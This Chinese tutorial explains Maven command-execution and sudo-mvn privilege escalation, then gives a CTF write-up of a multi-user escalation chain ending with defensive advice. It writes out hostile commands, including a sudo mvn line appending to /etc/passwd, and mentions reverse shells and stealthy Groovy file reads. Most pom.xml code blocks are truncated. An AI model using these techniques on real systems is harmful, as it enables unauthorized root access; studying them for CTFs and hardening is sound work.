关于maven的命令执行漏洞
前置知识
maven是什么
我们先来看看一个Java项目需要的东西。首先,我们需要确定引入哪些依赖包。例如,如果我们需要用到commons logging,我们就必须把commons logging的jar包放入classpath。如果我们还需要log4j,就需要把log4j相关的jar包都放到classpath中。这些就是依赖包的管理。
其次,我们要确定项目的目录结构。例如,src目录存放Java源码,resources目录存放配置文件,bin目录存放编译生成的.class文件。
此外,我们还需要配置环境,例如JDK的版本,编译打包的流程,当前代码的版本号。
最后,除了使用Eclipse这样的IDE进行编译外,我们还必须能通过命令行工具进行编译,才能够让项目在一个独立的服务器上编译、测试、部署。
这些工作难度不大,但是非常琐碎且耗时。如果每一个项目都自己搞一套配置,肯定会一团糟。我们需要的是一个标准化的Java项目管理和构建工具。
Maven就是是专门为Java项目打造的管理和构建工具,它的主要功能有:
- 提供了一套标准化的项目结构;
- 提供了一套标准化的构建流程(编译,测试,打包,发布……);
- 提供了一套依赖管理机制
关于maven的生命周期
Maven 是一个基于“生命周期”框架的工具,其命令通常指代一个或多个生命周期阶段(Phase)或插件目标(Goal)
生命周期 (Lifecycle):Maven 拥有三套相互独立的标准生命周期,它们就像一个任务的总纲,定义了构建的宏观流程:
阶段 (Phase) :每个生命周期都由一系列有序的阶段组成。每个阶段都是构建过程中的一个特定步骤,例如
default生命周期包含compile(编译)、test(测试)、package(打包) 等阶段。当你执行某个阶段时,Maven 会自动按顺序执行该阶段及其之前的所有阶段目标 (Goal):阶段定义了“做什么”,而具体的“怎么做”则由插件(Plugin)的目标来完成。目标是最小的任务执行单元,一个阶段可以绑定一个或多个插件目标[
插件 (Plugin) 与生命周期绑定:Maven 本身只是一个框架,实际工作全由插件完成。Maven 内置了许多插件,并默认将它们的核心目标(如
compiler:compile)绑定到对应生命周期的阶段上,确保了开箱即用
常见maven命令
都是mvn + Phase。
参考文章:
https://liaoxuefeng.com/books/java/maven/basic/index.html (maven的介绍)
Maven 命令执行漏洞
为什么 mvn 能执行命令?
Maven 的核心设计是”插件驱动”——它本身只是个框架,所有实际工作都由插件完成。这些插件可以在构建的任意阶段执行任意 Java 代码,而 Java 代码可以调用系统命令。
因此,只要你能控制 pom.xml,就能让 Maven 在构建时执行任意命令。
在 CTF 和渗透测试中,最常见的场景是:目标系统配置了 sudo 允许某用户以高权限运行 mvn,而攻击者可以通过 -f 参数指定一个自己写的 pom.xml,从而以高权限执行任意命令。
方法一:exec-maven-plugin(最直接)
原理
exec-maven-plugin 是 Maven 官方生态中专门用来执行外部程序或 Java 程序的插件。它有两个 goal:
exec:exec:执行任意系统命令(相当于直接调用 shell)exec:java:执行一个 Java 类的main方法
我们用 exec:exec 就能直接执行系统命令。
pom.xml
1 | <project> |
触发命令
1 | mvn -f /tmp/pom.xml validate |
validate 是 default 生命周期的第一个阶段,执行它不需要编译任何代码,速度最快。插件绑定到 validate 阶段,所以一执行就会触发。
执行任意 shell 命令
上面的例子只能执行单个程序。如果想执行带管道、重定向的 shell 命令,需要通过 bash -c 来包一层:
1 | <configuration> |
或者直接反弹 shell:
1 | <configuration> |
注意:XML 中
>要写成>,&要写成&,否则 XML 解析会报错。
通过 -D 参数直接传递配置(无需在 pom.xml 中配置插件)
exec-maven-plugin 的配置可以通过 -D 参数直接在命令行指定,不需要在 pom.xml 中声明插件。只要当前目录存在一个最简的 pom.xml(Maven 运行的基本要求),就可以直接执行:
1 | # 当前目录仍需要一个 pom.xml,但里面不需要配置任何插件 |
写入 /etc/passwd 实现持久化提权:
1 | sudo /usr/bin/mvn exec:exec -Dexec.executable=/bin/sh -Dexec.args="-c 'cat /tmp/newpasswd >> /etc/passwd'" |
这种方式直接调用插件的 goal(exec:exec),跳过了生命周期阶段绑定,所有插件参数通过 -D 传入。注意 Maven 本身仍需要一个 pom.xml 才能启动,但这个 pom.xml 可以是最简的空壳,不需要声明 exec-maven-plugin。
为什么命令里没写插件全名也能找到?
exec:exec 中的 exec 是 exec-maven-plugin 注册的插件前缀(plugin prefix)。Maven 的插件前缀解析机制会自动去中央仓库的元数据(maven-metadata.xml)中查找前缀对应的完整坐标。所以:
1 | mvn exec:exec → 等价于 → mvn org.codehaus.mojo:exec-maven-plugin:exec |
Maven 解析出完整坐标后,会自动下载插件 JAR 并执行对应的 goal。这也意味着:如果靶机无法联网,且本地仓库没有缓存过该插件,这条命令会失败。离线环境下应优先使用 pom.xml 方式或内置的 maven-antrun-plugin。
实战中可以配合 -f 参数指向一个已存在的 pom.xml,或者先写一个最简的:
1 | echo '<project><modelVersion>4.0.0</modelVersion><groupId>x</groupId><artifactId>x</artifactId><version>1</version></project>' > /tmp/pom.xml |
方法二:maven-antrun-plugin(借助 Ant 任务)
原理
maven-antrun-plugin 允许在 Maven 构建中嵌入 Ant 任务。Ant 有一个 <exec> 任务,可以执行系统命令。这个插件是 Maven 内置的,不需要额外下载,在离线环境中更可靠。
pom.xml
1 | <project> |
触发命令
1 | mvn -f /tmp/pom.xml validate |
优势
maven-antrun-plugin 是 Maven 的内置插件,本地仓库通常已经有缓存,不需要联网下载依赖,在隔离网络环境(如 CTF 靶机)中比 exec-maven-plugin 更稳定。
方法三:GMavenPlus(执行 Groovy 代码)
原理
gmavenplus-plugin 允许在 pom.xml 中直接内嵌 Groovy 脚本并执行。Groovy 是运行在 JVM 上的动态语言,可以直接调用所有 Java API,包括 Runtime.exec() 执行系统命令,也可以直接读写文件。
这种方式的优势是:Groovy 代码比 XML 配置更灵活,可以做条件判断、循环、文件操作等复杂逻辑。
pom.xml
1 | <project> |
触发命令
1 | mvn -f /tmp/pom.xml validate |
读取文件的更简单写法
Groovy 可以直接用 new File() 读文件,不需要执行外部命令:
1 | println new File("/flag").text |
这种方式完全在 JVM 内部完成,不会产生子进程,更难被检测到。
方法四:通过 -f 指定任意 pom.xml(GTFOBins 标准姿势)
原理
这是 GTFOBins 收录的 mvn 提权方式的核心思路。
mvn 的 -f 参数允许指定任意路径的 pom.xml,不限于当前目录。因此,如果 sudo 规则只限制了可执行文件路径(/usr/bin/mvn),但没有限制参数,攻击者就可以:
- 在自己有写权限的目录(如
/tmp)写一个恶意pom.xml - 用
sudo mvn -f /tmp/pom.xml validate以高权限执行
GTFOBins 给出的最简 pom.xml(使用 exec:exec 直接调用 shell):
1 | # 先写 pom.xml |
实战:GZCTF 2026 — JYli 的秘密
这道题是 GZCTF 2026 的 misc 题,综合考察了 Web 渗透、多用户提权和 Maven 命令执行。
题目背景
目标是一个 Web 调试控制台,提示 flag 在根目录 /flag,只有 root 可读。
提权链
1 | JYli → xxxx → YUNiversity → root |
第一步:获取 JYli 的密码
网站提供了一个 OpenSSL 解密工具(/api/decrypt),目录下有 bak/id_rsa.pem(RSA 私钥)和 bak/credentials.enc(加密的密码)。直接调用 API 解密:
1 | curl -X POST http://target/api/decrypt \ |
第二步:登录 Web 终端,分析 sudo 权限
1 | JYli: (xxxx) NOPASSWD: /usr/bin/python3 |
第三步:JYli → xxxx
1 | sudo -u xxxx python3 -c "..." |
第四步:xxxx → YUNiversity(ln 自我覆盖技巧)
xxxx 可以以 YUNiversity 身份运行 /home/YUNiversity/ln,而 ln 本身是创建符号链接的工具。用它把自己覆盖成 bash 的符号链接:
1 | sudo -u xxxx python3 -c " |
执行后,/home/YUNiversity/ln 变成了指向 /bin/bash 的符号链接。sudoers 规则没变,但现在 xxxx 以 YUNiversity 身份运行的实际上是 bash:
1 | sudo -u xxxx python3 -c " |
第五步:YUNiversity → root(mvn 命令执行)
YUNiversity 的 sudo mvn 权限是 (ALL) NOPASSWD,即可以以任意用户(包括 root)身份运行 mvn。
提前写好 /tmp/pom.xml(使用 exec-maven-plugin 执行 cat /flag),然后:
1 | sudo /usr/bin/mvn -f /tmp/pom.xml validate |
mvn 以 root 身份运行,exec-maven-plugin 在 validate 阶段执行 cat /flag,flag 直接输出。
关键点总结
ln可以覆盖自身,把一个受限的 sudo 路径替换成任意程序mvn -f可以加载任意路径的 pom.xml,绕过了”只允许运行 mvn”的限制exec-maven-plugin绑定到validate阶段,执行mvn validate即可触发,无需编译代码
防御建议
如果必须给用户 sudo mvn 权限,应该:
- 限制
-f参数:在 sudoers 中使用NOEXEC或通过 wrapper 脚本限制只能使用固定的 pom.xml - 使用
sudoedit代替直接给 sudo 权限 - 最小权限原则:不要给
(ALL)的 sudo 权限,明确指定目标用户
参考资料:
